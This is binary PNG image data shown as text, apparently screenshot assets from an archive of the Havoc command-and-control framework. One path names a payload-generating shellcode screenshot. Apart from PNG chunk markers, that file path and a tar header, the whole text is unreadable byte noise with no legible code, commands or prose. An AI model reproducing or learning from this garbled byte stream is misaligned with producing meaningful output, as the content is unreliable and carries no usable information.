/>Effvz/Jxٙ៯[p\ZD~ק;fhffƄWXmhx?9]~M6p5gggW&g,޽:o*44t3gE$:{ym!!!;aEd{oT~aZ5 t钙۷zy;i5fN&<o=z _}u¨|D 9 ybϗvO?nDz7&%6nf_PTs&-]Y 3 իgh]2HK;.E1X]f322Ŗ/[ZP7\_}ϞgϦ~f ۾%>|yU??ʕy!O=IӭǺ?}MT"hoDpڴ/_f [ݻU> [h}}v۷^ɪÇLyV- oRc&9#i4< "M4^nsxx?ǿ(٪ܰQ[G/[,"%KF-[^fw;nȁǨVJu{'\>ODF=in罳~Nɻ ^u}4or~HHHs|(uo #"%Ztc?X$"pDEET\~ۧw_oa}6^9LD{Z;¤#GEȑ,u(ƈDb"1]7ס}5ou7"RZ G3yv6E[={roy}qݾcZw-_n^볮1/ѹӃܿߣ))?]-"#_~iW>}VDʆ ׭讻n krW1+Wmf<оc_|s56뮻f)V:oHHcDb*ٸ'ҪW4app}EKHn۶Dz⚸;sfWچ _=\cyNƖk֬k^]RRr^=ii/X:n>_Z;iΙ=iݚ֭J*!.4ix˖~oqg谗}EFլY-Odgg-۴i e;v0bĸ?r-7Zo:ՀgG?GT]_|%.zcK<^~HbiYYα۷%GSNS;w-[Ľ<~ue"/m_|uήۼs*a 11ѱeG ϝ˴C#6qjzcU?+_1=ɧtDZ=h{u(ވD!&@UƙZ{)"˖;wܣ:E+fT9͵̟""AApg?ܹiMLLtm{n_r|?r׬*-XCV ܜӧX=z#GD6mf3k֬4͛5i׮Cƞ:u_aFFFzz6͇[А%KJK;UToس_nAID&9s i fff~gG=Yfߗ/jԬ~Lz%*WصK|vD$<,j'IA>rG8{i-cˊX RakϺDdگsoQ/oz՗ǽY>~̹~tLRbfΘ("aaZΝ>>pߏpLuw5;ӥJZR9k} 唒cծUR_re7So鲵"[ cק9 =qxr8YY ._pU2rĀcRߛ@|~5ob spzz}2 JIMMWb诐HL$&W *Y2N';"###C틿ڸU{oߕ</ζ. Whƍn9vDTdD?3gӿrkz^=6 ~7T [;Xo {PtLj?ԫy[t}g&Mڭ.޽BCClq7L|mMOVнr JkҸtٺGm_\Ёw[nәyXիVmެ]ⳮ-Ԯ1O~ֆF>E>0"RDdjUgTV-ԥsے%{!2441CM`+SNWDnM٣GJbz(ꈉ yHL( ~nܹs>z MfҿU-]={[C)_lJʱU7wnffWyRrʞΞG))Ed5%""n=?yߒ5G97i-[ܝ~g`[I~:jcOjc}Yll#1:l=gϾR¬Clv9"1|wLǭo~}R݀&w5_N:gZl͐}*V,/"a|9-; -55m>1ۉio9KVkKL6!(8?`;|duɒQӧu7ߚwPF;زC:􌯷X_W#|~}a"""D$##.Z{'sӀKJ>d};!a/0eA˗IMylm޿E1(Db"(vT: ckmѦEkSZWΝ;kpObD+W2߻ߛPvW'j߻+v4ӦiGv61 &\Z۹stJ)e!0 C9ZMR17.3#kqV?⽙_](+1 &@6}/ +&@1GL,*d/pIB6q@%p9.& ױvi'mijdT= Q߄q@l(d@! 8 PR(q׽RXZkV\r#&Lƕ,5v.wikR- @1T\|""ZZD+%&XR޵+թSsȁwYv%kBGPuԩ3mUvvf>I;@h= &EKHH}SKL/^4i M\jCG8|8y)v-wz܊PRlޝ[oܴi[QQ;=ضm9s`k2ALB+WL7jx>?aJvvЎtzMݺ c/"b"Ply7z/333[o)|ٞ8Z-PQD{3GU(h2Z V>Ŝq96uq3\~jt8Lȩ+W*ÊvT>guG:% Le-\)"ֲ\ݍ?ERdNrʴQZ6=ʝޜAsyJM `IDATy,p\ĝsO_ KgʜOi<5:ց8ȉ[sԑ/886rRCNL!r'#Y;ZqQCLE$Hi 9΂O){!)@>˵[=rRZAZҹZ_:yU++sNE1M0kM$c&\΍<\wp%Yj둊 ?\2W~5ysg*GEJDT~eĵchmq(rDi呐Ss89%+"D{ (wpTI|Jn |qf{z)v,qvtvJڵĹb}*5^E+1]oٱٹx5\ 7;.eHh9p.Q)8jJ;'vBNܛ;x'(rN+!'8Ckt{AJgڕ9V(Η`S>ߗאq^*ܩ8k=gW敓J4ϩB<ՙS8xNr>wqpeQ(z>_?8S q\HNwBN\s11NNep!@!|..o)y֤ZIrPL.(.8 \q| '@AsvOIqy4F@1GBν[}UǦq 9yyNa<8{QWiGx$DŽ9ߌ7/]XrgefﴜMkb7%F6@c59Y(`1bs,d$9\w(rN;8ʽ'gB!1lG36 /^mP ogP=G6B\P" 8 PB6q@l(d@! 8 Pr惫IENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/PayloadGenerateShellcode.png000066400000000000000000001277561467014221700265100ustar00rootroot00000000000000PNG  IHDRJ$" pHYs+ IDATxw\SWސہ VąPwZZV{[ujZqֽDDAp8Q"{qCRFHx>mɹ!E9: A#;6>R+x#P\V}x:q!]sO3㐫+x+9>~ !ݧSqjڨj!Wø[QV``eBZBNjSt|1(dT0V\l,A!>=؂*u!&Y%$\Yl+<!BiOn-=W,Wp_ogFe`~+BS0vԖhP Ӹ' !Mrp_>z+6 6ª/pB*鹏)Pɏ: (.ERT•/Fj=! 0BjԇY^TQGRԇq, E&'H}A}@e[\#j&"J<%CrRPʀ#!@qq$\~sp_2z+p[ٖ?#jC9U BUGITE(vJy2(SXȄ)ύlc|3Z}#B!ƲLvVD*i}議j!!Bnnn.HSS>YBHW4-,,yz|Vpp{!T>+ Dzf}"ř,˖C7BieRL& (X垼Bv• K@ KÍنB˲Bu!_ߣ54h177GP=BZ%܀'?1>t\ܣW}譄{a8-BU {> \~â/IPNIrOGBq#!'V4e'~:ڇnbv!'Q2JZĩƟ!(ψâ=K;z+;TA!TݩGѮ j$.׭qB2MSO :>SŻRRLi^"pgq ,+r$P;{a^:kvw\Գi&Kk}&OWZ(Sl)jo¤tmdawB(rcL6n}A* 5#46AaPvR&FBo6[Su1822޾A5#*[ =fl_^)wrTVXbyV:zYY];{[ s]v2m tǏ{ l֙{e^oF7uʸ˗?}.]\U?_qԄ *o7NBm4=Eu?|vv.t@rrjLWP45~)+7c;~N.i7sg͚,W prj\&lXWo"ZpF(_ַy)$Od]i⭨,z"Si?6m!$W[L|s+e]*\\a#\MFܶlj& rHMx[ Zna`{kڷo}mE4M@DD4xxrtґWŴtqФW)]LԌҵO:R\Go tMBB2xymڴUq^^Amf2##ʪv>pN@O];d櫰7=iӦ婓{߄GVU{R׭)(vPʲ&1ըo}Z7QAAޱWP|M?)g|ĕ[WJJa͚'EF]cqRRr%+B fVDLufEOzrrrtj_RNo%,K!,!,KX+Q7.]\v|Ņ t_*O},L67~2쬈3KlaEQ4MS4EMSESP4EQ@)W.r8+p=<u_Mwrv1-~f:}- '?&71J<#0z#D5xc!7T=+B!}IPբ`t (iJbGorIe.;ݻنPՁ7BHFo !P 89BHa!Ao!tB!BHa!AuQ.`Ϲ B!T~*0ތM+qBZ!33M#!tB!BHa!Ao!tB!BHa!Ao!tB!TnD"'4p|a99ٚH0ʇH$QSs4H@4@ '&[NM<:--C}A gl,rrj |2 -] Peʶ07eH0  h!TIojo0 !Go꣊o4oΟu/\+6BA`%jdj&nX;G&S,zϫ BUutcõM#Go܃e+effk4y׊_NOB:Go%p={׽ <ӛ=kR=yǣx䔴GK<~Z{}ۿYGr_&'0 s?iVNk?ݐ-[4͕?yIhsK֭dm參F˓m EQ={tvk=?z4O֦SWgf&/ܾX+Ό 6<"]Vvz [q,͚865{[ OmhĨ9`Ç 7~Vvvx]=GLy~Yإ \|rg7/a_ B$J[[[ #522\tc,Y MHH3'Myk횯۸''7woS34ԟ:;;AUO9Q0$UfvNj;xsww ~qmSSA rݐo?^śafY.ޭ3,]ֳ_VS޸yRPdhЮmUJ޾Oj؞a4E]|ܬ!Ҽ<>U?n>kuy HdawJJ:6F̬ \#P8T&\ȓW!4ۥ/xpom"nCN$::@M+zGy '!}}d >_ȧQ>J-,Lh8A94gffGpcWaQ/$f)bjL4!<UBqKBcpȫ֩Mƛ~vέZ5`dd6ZZvvnv=OضN@1 ^0,txSMN HM`J>\vskYU5L XX@jZFݺ <#*I )EUM͵Cd;N:uߩK{QB!͛7s/eرs3g`]EQv l\]ӲBHMM ~}{ܺqƪ"V| |qn ѳ#14ԧiڡu:jFR=;zt z*W#!TAⓋP[..wU>L~W9kiikn=ڋ8yx==~T={_6͘>~QX OO_A:_6_gcc?3383rx5Q(1'O]S`D&0ہ"C=}#+Ua!]U7>S؜wZrYe,²X'޴{T200ts뜒 P%Y;In23h(ih)%ۣ_Iʅ{+][f8'ʼ577}TlU^s!TT-^ظa};j`=ދ4;׻S? !t^UxK3o{%X Nتūrx<=IXBBH+nTݞiQDFF[XNC!DJQ t_V>$\ Sl*/<*$%6AoF"fn4yB`!Ao!tB!BHa!Ao!tB!BHT]9bm]OA!aU(<=Ο-v l|pΝW0;;w%%TXBioVVu~_?w{|ƍ+c*!HUAqO*s5,ڵuk`{^=˝;ݽsn)Ŵgِ7j԰PRa.y؊ {{iw1|WgsguwCW"PU< ^zݨQT>_oú{KMݿuխ[gk,U(6!ffib_n fgmBHUIqFj8C,.amnDqBB2!Ҳ6 {e0 !̔;]4q(!Ҡoo#[p ƍy^A 85ٳ"24]' VVukSi50ĤUmsga;ʇBsU-ɓ\{i?KOx ( F?-r?1W?>.SxIzE6{Ҹծ]S__8sW|rr$ִXX |!}lҟ̙3y5^ϙ"SG3f,aY?-}֩ qUM=7C,o8qhB!uTڻ?S~Z BBUSpA|xD!,Dz@Xe aYBLL,jW.x>Bi4(i(iJv \q LN"B !g&B}*o!ЗDdhRĆB ,!@23)4oƢBEcZz2x<ޠ:onhOCѭcW4M{t/ ;7W*gI`>&-lmܱ7L033Yd֚ۚ6ʩIcU70LEQ;XdcSw뎣ΎM؅< ^=llfWZzi#hnDh/"ggǴ4{\Zyߏe GXl+n,w = UT!WbfnLwi/\t\[\]8 򔙝@ CB^ef|2ފѰaw7FDDs}tߛK[c#]=y,ts!T.1l\˗\?.{!2nVʹE7oCrnJ$2psk))(`Km^ >zܢ2 &4uVN@Ȟ|m.]x4<πп[>} ]PܩWvO\B23ի/˱Ĺ2B y.Uӧ/I%c[p#w>T(ʪrbqf* m0,ϫYӂǣ׭+422411GGDŽA+t>U`rҹWG~EQH%dU}nfM\ܻ&-!yƍwFS7V}ocGoժ)8##sʭT>um 8!zOTfL'͋z~.>zt6-|FH{=~Irv y:89Y\ssfV-v1,C|kĨa#&6.EQ I Ì3-+]c@__خoaCkBES\ sSgo> + ($@RaX3Δv)'jrWn@x  frrsE}q*@i qxMoWaoB}sv OqxVV6˲[Q9ԱAC IDATG "33e GBHB!䟨^H ?!WVu֢(t><O.Bn*v&0j#FN}5ek@ݚuX䲠#GOsբc{_dS-yɓdeep^`Q˪͸x\.{v[=/N٩Zp }Z|]x!{fff:|WOWa !}DN.^CX$=F 'C1?~/RD()lrjBC,, 7oO4EPNKM mtam ˲@Xe aYBLL,J|{SSbo邷{O/f` rs뜒^&V2O)׎!tSwޑH)C7FSE4ME4M)E(BtIGG{{{k2ý(,,JD ڿxV{TrJZ{KӼ跱k7Γi-B{CÖ799ϭ*?!] i'ɕ23KFebb$ɕxjavvfTG g!H%ҨHbi%$<{a%F1\[r*ǛVj]E!j B!Y0B 7B: !xC!xRzHd BHBdi#eR B$2QSsF#B OS x\1m^]?@hp B,8%qnL'C^iKD ?\qUxwG3+Ҝ/RV\;DF6b2i Owעo ,-k?~ZT!_GG:|A&0vf<}םuHԹscǯ#'ⓋyV U}K;EEU~9ŃhۦEQ3-7kpSg+̐=!Nu {ڽ'a"@BF(G%Q_M1BX`Y˲,!,KEoojjU|%MͭsJjzBj0{DRJuX]|Si4EQM4P4MӔ-g\q_''Q7mE5Pс ƛbubr!T5ڿyxJ<$Wbl,,a!>$Wiw@hw-QDFF[X̙|"H"#V龔 ƛVHrgOF t ǰrInnUoZ?[A$Ej֍B}7B: !xC!0B頪$>*x<{m|a99YHTxC,jn\/ijBȓ=jqai%Ԥͣ2416995 tGM+2 -] tPfV\.tGM[[}=se%SSFl vmdР_D̙n WU?=71}?vPٱyF  ;͘6u|2nL(!Thii1c̞vo;^E :i߮{~Z@>BY lp\p-x-;=6vtC~1?S2sscie oL;m~g|vrѳ ?7`@oB<{:ɓ`dd?^< {twɶ37W**ktn=g楡-aZZF sV֭[ӲEjZƇoiH|efj xw}v#\!ɸ\Z?z<"07nrrOHL]FC6q]"1!i`o(YL=˰wNIN }mnf 4sjh`(xɗeZRŮ<|k $';7"٭~bYk55uw$W*˓qӥ"Cvm<}M*{6>>>Ic{Mo2$j1$e;n ŸD{{[qttLz (%%}l|͚5~\GMNMdqI)͚: U;U`M>z0 Blm>zK,MĩKiBBJݺD"àбcd跱}2/4[>+Y9q3`ġ\Bq1(BHf>Ųܫrr%&Ƣl(vrR]",͒S241ԍS(YX4=q}Vm/ VΎ!C^ZGo'$իWWheU'!!Wm4{ЫaXi-ԪoSRLB޽oѼKwHKh߮W&aazm 6bb⢢cMEC!2%WkR qIG__(+"'߅~Q>4m3j0 '`aa isKGOf0 r%xjSOOH)ěl?nhnժG3g.V Ϟw~=?|=P(i]m}Ƞ"_.\LO"Qet#Qѱ.s]ۢ__w R۶iޚ((Rj [eohoFXP|'Qu(:km[j>}#2ޭ'mӔ<}( lýQfl !wԘ4{`S$/::cC{m4].Br>z6r74M;4_BH'_A򠕣<ٔ,9uʸ䅋zY-\tCVn~>{;YZJNNl1}3M@R1+QVii !oBR$[oiY-KBڽDk? t:.޶olA!_2q!$}®ɻM[d^"<{nנ>7WN͟`hh JoܼYoh~f<7ow9Ijԕ?(6m7fTJ>{4,ז%qR}&ebXxCn4*:m 9īWnQ>E?-{G.BB ){fl$x@!Ŵ"ޔY}6ee+?{ykrĨiT)*̚a#,Nn ,JZ@hAqjh4q= $Ο;>99`?gKǶ=zGGdujj:PӱceKzlظC5k֘7wR+fE >}l|."$ 6m\B@(Μ1KFF4M/[?MmKg;~:o5yҨq@}M+w1wb5! Ӛ#'6033W/7دM[v\1Ɗ{j1ٹ#FNJFx79CMGz<oú郼&t9L*UJV'IÇ;4q C ~g9fܬ݇f| ˞oԵkK(#޸?MMRYvG1Y!Wڷ2{esΜ1$#C\!@,fg --k%$$XsoV _YոqW¹lC :8uaW \B!pԫg)U jHk-<<:#CzuUabbrUZ&&|Z>*\?dbqӧ/֫g+i'ok[ߡ]1/W0 =ֵ3 >!&̩^#V{#ev2ytMH͚VVzA{4բEΝwu?Ia?E oӺeӦ_yz;T&)U?~~{|D" aaoԩtꟲ<SڴiaiYcڏ5ₐܿX4t7Xtµ?5gΤ+lۺҲL&;oyw ̝3yŊo|Y_v~z=׮lڸ_K& [|ܧi_ uys.;<]z ^tΞjfn6Gu [oo۶%UKS*#Ba ?²,KbbbQۛedd3w(ͩU۲4kRALϝף<~ԩg#!!`ff,gNffMQE4 M4Ds{)@Ѧ[<+ fL ! [!wQ0_ۤ!~UST6DU8-MwW)tGB%iP&Zo"#SMw!In njTq !xC!uu&ޅK{h/!ʓ{+/ X/Z0IF|>?V>uh/M:1I l\,BTx[gfZ0L 'L}H3lknmYdN/CRFd DDD_yhkWܼ~lѪB7'sKD"o_:thsĿ>7OQc2/+@M,hG!Qmc+t+_6`YOӥc[ݰ~M;<*59}w>繦::?7I?Hj+!Qmc~cƴwm)wCٷxllXy CaNUQ|O:| 7U!XԄe6tWB:{{w}{6|BYY=k7/|8unt7x4T !Y.rϵRz0 sNnw_ǣ[]|c粲ؿRxm6цO۟rQB|*V]B-[QiD#sqi7{2Mw!ʙ$7֍BU-o!tP5V8yM!PA8zC!0B 7B: ڷo}ĿBTm.< / To">\̞Tե^V57;ޱqg˝jNn E7iըK-!W^WG׾G}tcZzŋ74եꌻiX[??9^`/hf܇a>BJ+ 06{~gߪ ^-zy̚93!oX[+.Oogj? ”"!zs3Zi!T-++S?N[^hog{v {/oܸ!War۷ ~9뿮09qHQeng*ld$ 2V6˾"lTu/Ɇ"u <oT}rui*tuikl$ڹð'O]Z`go_#TLH@ G 4EV~貰K8FMs.ޮ]^WN*p;SF, Ngs^M!!pBک:ƛHd[|a|~B?͍O6brvyorY:L5}."Vu`ʹwQm(~BBR6-E.0ڮ MM8{A&&FF=wJTLsRL$x`ԹA3iBKTϛ3gr[kQ9sE5sȱ=tZ[8wf!dG@tt#o_# \tu^lE?/=yҘ{ FE:˜y2OR v!v! 3E!7B: !xC!0Bjo: w!0^-í7v() ~'ڷo]u_*r4h`h&M[k_1*+꫆II)6P|Ύ~3/4Mxا9z6,,!*N5U,|?߳nnhUo:}j3ܔ'1=EӋ|>zpk]>wX4z,wl_woӴV~B:F+DQ1[5pUn<*:WlŲn%?`Ç 7~ztm7_q`ùv gN|]-yqm6jdyBCC_4r/ifBBQ?֭S{옡a7Wy좺V?;uMp9s/KA1x_uPN]?zDV6ת:~sx cg@J.}8##[}8=]\;?fL{F{;bj~7}&ř׮}vЭDE؄ȷ06+e v;uN]wСSE׀oq73a:Em<~򭘘Wak"Px+eq|| o_UʪQ^gNy9ݯowmݺ9WtL@y͇BS²EF.C,6Qؙ+U`~!BF);vd翻6r1zo߫״07W28YoQuj'Ե_~{+ H!*Z%bf箃:tqXH%.>a6o;qӎZvpyᑅ>MQ^<a?{w̬{ܝ+ŊSݝ(Pwh!ׄf.3I};w̽3KrޑSFg_ePɓymbozJ,1)y?o>dpWE իUy#Ir@(n`0v9'$g꒐%Y>i՚͡s\hz?pWsGr;ւySfϜ0`ذ𨐐sϙ=ːQcfL&XT!>!AzܤItGB#|o!P !P9{:yɒEc4i:[ H#=PaxCō-Q_ AW89YV,m}\n\;u?G *^ #rd|uI!T@MQ4ج7Ee-[L2{WN$؎9 1=ZbѣgJ噰-M9 !prIWҙ}^Б;+Ug˞n~]x|?/]q{s[ A cէryB3LΤ3.t]^3{B^'t=uӊc7JOvrb١| lB>u4m)œ`r&a3GFבj*iz2doP}ș/bgkwD0/uuȹ8tC}txV%繷l`I:s| {5L}wwWPxvQʰwMS}(M#w/iwWK { nGc Z& YٳW4qѽ]-%WӤBNNO^ï|$ qx;ʵkri~=|H$]K6OL9WBVP3g~WWm|ok?xc_ΙN33O^ˁ$JCϠ4ǰ-_;6c?sn kDDzB<Ir>S!T4Pq<b H3d* $ry%ݑ 7( }|basFGO o pSJ/ll޾~/^<-|( oM&X\A"==l2˻0n07J8̜16#C]?-^I{U7B±YU513Xo7xAYyudE~ WzՄWEhZ6\?.! lwWSE8B f-Q[vt-^.aeoڬ;hajRi0yftno"bǯ/ rUz$l'3Zi.x' G:Ɲ@AHK9}KFMo%[^NC~SqONH8 ^F2@OH`˳l#37oҡͯ~cb3v|+ [AL! (_ l? ,7*u^Bc4C}ПHʥrʙ1?t;h}qxC* C)MW?,E{opr<%(oyk8Ykvxg CS{=.QمτѨ"p1[5P׬b}PrUNe0:?2bx?<{ΊE߾6n5kXgg-[wh -N:dzk\.w;}F&q8k=sǎe(7Z 4k`ᎎ7nYdV[橘,tpq|T/$D ! mH)HP- 3^QڮNjGTZXyR)7TH"l_ͺȔnM7mVV"̯-Od+&(Y`@[lJl[64Qya8* Y^J5zu0cwSڸ!τm䤻(g+hx5%/-!:oP5uJ)@9O2)fr.0 ^5co(RFD-q'N1wwʵTSp|/ȗX証8& dg)pVD Cֽ ϟh԰ο.?nJ~(H EM4l6_ ١CkF1tx`F[[:u9466N u;o#>m;>l %(p#I/gJ4 !ni?>֐|caP>'TXڃnNrta>>71Ц`5k`P6tzS; 0b0fp#ҎaA!d;d:j'P_J7Qn5eC̄`atT@p*@0YS2o"\aaOibjI 5c̑z`[ݗ  <EXd^nkU$? %À]4^Ur3WWg\b.(rx{_z+glX,4x6(&ʕZ}DDt\/upPؑ]rm2oIЖH`7P.򪈩D#ju<!wNPmu̷ZQ&҉.o*co3YtS_ *fVEh1\Kg40 RX^!ür\\]jZe&dkRΥ55C` &\mt 6 *EC9 ]h1J{>^Ck1&j*'?'ƫijz NJᭈ(?`ZZ\Z+w^YrvvU닋Lq9$V\~c׬Z)nY $I{a6VhƑ .[-K[ xwb"٪YZqPI&uy}a5\SrIߜz3;W0g0 Y(hbKIk @ݡL1YCpIn5%\g]=T^j؆DPLgTWYbe_ . rXDΎ3)YCfλD-Q*{+tW̚ K\nZ_Toۦ۹ԩS x=F/R*3&%%7ocs柰#G|ӹ}Æu u'vZH[" %DK8tJu[kImSe]+F,F% HWIW5a+;~ 3c폰-Ǚpy† +ͻ`^dK-W]"le+ʘhsD%4TB|')%>BqOgݱ$vEO$ï%p *>P)CH RJq4 +ucRR~]hXLp=À9D`I21&(ZiQo'YWqaI>seg !&7TK^gnC:ײI\)D6%!dVΊWY"Eb3p @>O67u3K>YkbZ9'4vǯ.u:UKtǓH)ncGZ" }q S|fLXB*ltdecrMC ގmzQ09|/iϣMQ0=Mה9 3Ҟ|.adp0OKIw< _;pSex;mʅ݀Rd;쮿9I0 ͞ʦiiiۼB!MOW='zV$JƟ^|3%ݑ"jTuMHyZEpMxSBfDP\$G%lld*{./H# H$ I$2i7'_2 s*Y{,$]T!(1ƛJF8`R[޿By+$,:`/۩4iK?][\w*c)G T0ʞgt>a> wU8+S&y=Lt %Fqy<*A*n$ɉupwrr"Pct1$Pxn"= Bxp<|WaxC%p% P9O-A!Tax-_1/SlРΑC!T|F|Hh04d!rݗ/_-ƙ&g} ۱ M? IDAT"l!P|Fenpι!C'>} DIS>}cn!PndxS "[*]|Icc|;oZwy+hQM?ϻ_9͚68aÍw-Y5C"8*:vԅ >[7 tSkVm)%_|ƵS^:uj޻oI@Jj*iZݭ4*(䚵P`cpk]0̗}Wq&=w +_:MDpGcsK݊*]o㾶f,m೯a;&Vn=D*o6N^U jC)Mʽc+! -?p#}r@,qPIZnQȫםhovv LaN*M}szԠv_ؽk}ݺnzD>]qv6?ERS&C\1g۶iiOX!i9`ұo [;X+btsC|%D#)"UĘh&4-*t˜/v׳;ܸv}2%Vxem%M2CCJ8Wezfjp?@a?8?ߢ4d Ljߋk]˜hk k(*&%vŜA뾶Ŗ=ؘq9b(RRMZQ{D[]x9RMiGIG̫&md-1N(C׫66ɓA@EI0k_6d9o]mE f+y+YI9|A:Cro il~$&%3UloIN^i{"ͱz*ݜq.QM{h)V$a7;d\XØGM\R[h |.׶!CWȿvIXiCw=E{=(Fy4N)2[A]t{ϡo߳{+ګnRv6nn<ɺ"Mqq l뛷6mR˝xf 4IWmmVo ] j԰]:xz@Pq//sf_'`Q !#+ߌq_j$PкU[ "2KG [bdV9ODHhEl"S 4eα#,]OaI3I9ľ604`(S}m7 k:y8BQm$s8IF8Ȓ`cVMu4J&cq*z}iVUc&\ԗm{{9g2 maf֎Q iE ^KQJ*ow? $kٸ,V[wp]Dyb0&l56笕kߡFGcك <׷xn"K|fMfa7$o eCxD6 53AP1Sy2&0YTΦG0MQ5* ;˥Pf5__C /IgrVp2=..~~?[$ x<.DDԩ]#W!aX6 vM2r ySӸ:6u=[ R-sn tSP9JG`sf2WP ) mzxj*<7Ԣ&3,&V"$Yh7'P,:6`1Dsف-) Mqz !7qK$ )(@!XTyye 6ߺ$ /2,qfFD#!HBXUk)9׮7' GΙm"'_ٕpC&e<31ӤC9ĻcZmN4R^Pu,V ~^0ڛJ[8xnBPvX!>i̻IIp`x9M$o <O3$ D W?Ʒ9ږkWQuE܂g :O^:M_s *pV ;>m,I)l~%.wa[7i;E;}vڪUNNNO[-\N8  fC#&NVlYTGb@̬sZTąL1: H yWW^{)ْl+)[&]d]ׅ_s=w_Rzaϛ-O\yZ &:`L0Ehd#ARcf +H1/y cF{=vrO*@c{ӆRVL"ʚ<!muʿrS6uW:J6ѣ]VsQV5R5RrYR:D5"9UWzgj=pMOQ]\7k z<*I=*1eF-.sUʢ2f3y^<MִV $CҺWdH꾪ISyV ͕SN~w9l"tV9f}FOis[^#PM'.*CvՉ%\D>^ؼe*I?kj⾢J7;rQ7J) lslx I% o !}c&>̼!$B\Ir!P9 !P9 !P9 vδ8a:STn`x+bKg Wq]뭹 }po7:{z߈t(fδ Yi 'UkW}Ɖ׶- Ha_s+lwiG*sZ8xc@[:SV;gފ8?wΤcOGZnoV;ޭrδYmYُRTt[)AwZI !ZgahaTICAwMzf>: e_dmәGoRlLjmTT8f> ))kŢӕݘδLYh1g/ԷBV\8)})Vo}z?sc:ST.`x+bKg ݺv}?gOdm 9'xBB3-x:ӼvV/?PFQw.&u:Ϯ;c%T`:STax+IgjZXxy+56cXh gәBaҙ溳QydI0bP,r8e83e0i;~(FAʑc)Iw;Xe e)X xjP_RịlzxtL ҙǸ8TK[[P(8rhk=wtPt)V?JnKuć)s f̉_u^5 --iƴڠfLQمәәb:ҩg B%ә"IaxCd`:S>)D!>9WN"*0!*0!*0!*0!*0!*0!*0!*0!*0!*0!*0!*0!*0!*0!*0!*0!*%݁ޓ !ʦS#BIB7B7B7B7B7B7BPioLIw!P%TB(K%E H@lgB 0 R<+rP'Hm!Tf04CQZ-#oAպB* JB!)`xC!TaxC!TaxC!TaxC!TaxC!TaxC!TaxC!TaxC!TaxC!TC/. zВB !P9 !P9 !P9 !P9 !P9T̩M\h4q7g[oyTp_r{kWLo.-pˁ>Y9oưv6. :gH$^:cU̟;͇_8=FPZHi]3irfVZk̘W'޹xn^/őXszh[z]&L^a EE"u=zkܨVoە`BS+-cG|[RuWS:]VJ3g ߰+AwBBiuODB_dpER›C"GG@rH5S<_V}0^o,I$ɟVnz-V@aC{aTxu;s]}@oR(];0(s|٬i.;:wɋrުUDLM{xcFmѢ硫lh'}qE[~S& ]}k>ܸ0!TʕKKhefֲ e,\bttKMN0+`[wJ|.c-sl1\.=v:Ėlu?y߷nu3=gⓧ!`6nڻrovr90|w+NRd IDATc?x^'9E9irGGn]UǽL׮͞{8dܛ}&u4enA.[1<< qN^r˥3IHHad2biUc%&b ? \xNjE8dBu!J26zc=eQ*ںE>zǑe2œ8N*WMJJec[611ы3g ہ(6E1<.S7&p WLuR; Ȫ@үLVkW4MAYdtȹh&v, "kvժU| e-/R/*>\+*p8mZ5j I`PtU, BC#7EJsghtI$'xx_P۷\w*a| |.۱}ZUO e@*C{O$.H *mعrl1$,\IdM{:1 mOH޾}Ui֬]>[M-[4qd ֫]l£7m3>>y[4G3oϙ==+,eYӭ-W`ˤ{Q!=]BŠ]Zjժm!lPed\~0gӭ$\xJ%[ǎ_x'>>{?z4aɔϺ l6W_ .ߒ$LҲE]qVNm}tUbʷW!T$/bFV.uu19%> ^dLQ\̾P.p|=_ +ȺnnNن~ >s*y$9}Z$bT*Ϋ]WBR&[|ȠnαqoSw&'9;}~}rJsOjM d>9p63Y%%v9á(Z~zrrEQD&l'!P(c(22r);9! ϝ֬iU+$6 g#9ӭ}  MγfsG}֭0zdoyz5\|x;$p:q֜vv~7Bצ_͖ۖޱ[vfsK8xV֬[;Nuֵ}6B 8.AfGxܜic9.yM3 >\P ݳraa}덻?Z"P61#L劽ϿN*^es\ҝB2T+'NݻwCgL+DĔXoBG!^zr!PiSV&'?KKB}0!*J-玾qW?M7[v>ku m"'MYI;_vMl&u&Ⱦ6+m5BCoPNiWRM*k,8~`6;w>r|kMЯL& XԴt''-V3L=z zvMeRi2}jM!8|>=pz7`?ww!޲)PԙAk^Nw D&.7&*:^.cbճGrg +h29{e3A޾c<>ݧ۶gG~ze 5JF̍O.Tj76ᜭO2]D֪Z}jh4G4: 0VJŝ;;aIRR*$$>7fT_'k6[viɲ-õ`Ųɧ]F\ǘ}ݜ^!T$eҒ-Z0&_|k℁lU;q&<~*-x;/?n4fG^@-Zh0mQ#Z5IGη<5\:{ЯˎmKgQ_jL8y RR.]=~l____c/uB_{nVB>x*}|ܷn^~˚.W>Y|ߠn]buuqrq ؽviu{|z.v7߀)c*c᭬{[D"kj> L&ٺSimݾs1/^@'%Ui4w>Ҫe}H֏߱PF{zP pI6m٫hW4vvݫӺw[o|_GtHKK9fNұCg1zWCOKujWpwm_|b]i0pȌ^}&0 :꺵UoPq!rQ&'Ye7ߛ/ؼ)PFkk#+dz|/77'6eۅ7W]Tt<\9׿0 p)*RwsTf<$'Oc!ZU~};OiS } B"CB#6hrيU;R;kU*UW_kۺysrno|9cPθw߉+A ;Ne2Y{KLLI0iiš5X88UϹdeEi.ϟGG;HIIcv+T¹+==t4qfIڱCg/sᬫt **a)3OB!+UY?٣/^1ezFDd,[foȚ'k2<{N? &6Ǎ穌MN~v/L*K'5+##c|n-*W7{dOܤqujekpv^":?t rWO[¹Om^nrmm4_UTxu֚&Mj;:rv_6MoF ll䞞&~2,::>)9^^u..۷8wZ>} ~2l̨糬kPtU, :ݺXG^ &^'Bg=z(.>y ּh6aaQFDddLF3eJv5gHVyciș2<৿?-lewl[j6_ ۻ(? ]zHIG@P4QDDtcEJ,A@PP PHB IHrc/!Mޏ yٙt՛gmҡf Կ/΁ԧ˞֬UF􈽛"FUO'feg߾uoΨqĠŗ+=r cb>(7jUOCfddf+WoEfK*8tHo öZ̶B @eIenzo|Q/]/BpppE~}zu|]]aͧOZϦ<{7%<]uf|BR?:Xbӝ`ks|rgoS-sv}wO=RTn3"rrR8Y\ͬM׬is& qNAO=|ԷVzo67*zo-[4=J~zO~ڹ3h4776/o=wiim4rRЂ{#"nfw6kZ߼׭۵mޞ'hԸ.#rtT{E꽩TJnfwfegB&.>)lT'N+W۽'b[jk9B7Вb{<h50nȗ+ QU**L]4Joݼ;jǼ/ahzo={ˬٟ9e~ Ιխk 5;Ft7GJ7oŎ3kn۽ UVeniqƩSF*ޜϺum۽[{7{kү# 